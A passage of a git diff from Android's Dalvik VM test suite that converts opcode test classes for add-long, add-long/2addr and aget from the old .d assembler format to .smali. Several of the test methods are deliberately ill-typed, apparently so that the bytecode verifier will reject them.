+.source "T_add_long_5.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long v0, v2, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.d
deleted file mode 100644
index 03e77ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_6.java
-.class public dot.junit.opcodes.add_long.d.T_add_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 7
-
-       add-long v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.smali
new file mode 100644
index 0000000..163c4c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_6.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+
+       add-long v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.d
deleted file mode 100644
index ec11b7a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2addr_1.java
-.class public dot.junit.opcodes.add_long_2addr.d.T_add_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       add-long/2addr v3, v5
-       return-wide v3
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.smali
new file mode 100644
index 0000000..21e8983
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long/2addr v3, v5
+       return-wide v3
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.d
deleted file mode 100644
index 8172613..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2addr_2.java
-.class public dot.junit.opcodes.add_long_2addr.d.T_add_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       add-long/2addr v3, v7
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.smali
new file mode 100644
index 0000000..f30b123
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long/2addr v3, v7
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.d
deleted file mode 100644
index e10a72a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2addr_3.java
-.class public dot.junit.opcodes.add_long_2addr.d.T_add_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       const v5, 12345
-       add-long/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.smali
new file mode 100644
index 0000000..810cb98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       const v5, 12345
+       add-long/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.d
deleted file mode 100644
index 1073b6c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2addr_4.java
-.class public dot.junit.opcodes.add_long_2addr.d.T_add_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       const v5, 12345.0
-       add-long/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.smali
new file mode 100644
index 0000000..ec02d86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4;
+.super Ljava/lang/Object;
+.source "T_add_long_2addr_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 7
+
+    const p3, 0x4640e400    # 12345.0f
+
+    add-long/2addr p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.d
deleted file mode 100644
index 3455016..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2addr_5.java
-.class public dot.junit.opcodes.add_long_2addr.d.T_add_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       add-long/2addr v2, v5
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.smali
new file mode 100644
index 0000000..5e0caab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long/2addr v2, v5
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.d
deleted file mode 100644
index 906eabc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2addr_6.java
-.class public dot.junit.opcodes.add_long_2addr.d.T_add_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 7
-
-       const-wide v2, 31415
-       add-long/2addr v2, v5
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.smali
new file mode 100644
index 0000000..fa88812
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 7
+
+       const-wide v2, 31415
+       add-long/2addr v2, v5
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.d
deleted file mode 100644
index 549fdb5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_1.java
-.class public dot.junit.opcodes.aget.d.T_aget_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)I
-.limit regs 9
-
-       aget v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.smali
new file mode 100644
index 0000000..07905c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_1.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.d
deleted file mode 100644
index 2d31759..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_2.java
-.class public dot.junit.opcodes.aget.d.T_aget_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ID)I
-.limit regs 9
-
-       aget v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.smali
new file mode 100644
index 0000000..8b73bb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_2.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ID)I
+.registers 9
+
+       aget v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.d
deleted file mode 100644
index 72731ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_3.java
-.class public dot.junit.opcodes.aget.d.T_aget_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([IJ)I
-.limit regs 9
-
-       aget v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.smali
new file mode 100644
index 0000000..8aaf9e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_3.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IJ)I
+.registers 9
+
+       aget v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.d
deleted file mode 100644
index 8e3b970..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_4.java
-.class public dot.junit.opcodes.aget.d.T_aget_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)I
-.limit regs 9
-
-       aget v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.smali
new file mode 100644
index 0000000..2e5f17d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_4.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.d
deleted file mode 100644
index e0d2005..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_5.java
-.class public dot.junit.opcodes.aget.d.T_aget_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DI)I
-.limit regs 9
-
-       aget v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.smali
new file mode 100644
index 0000000..4700764
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_5.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.d
deleted file mode 100644
index 41a009c..0000000
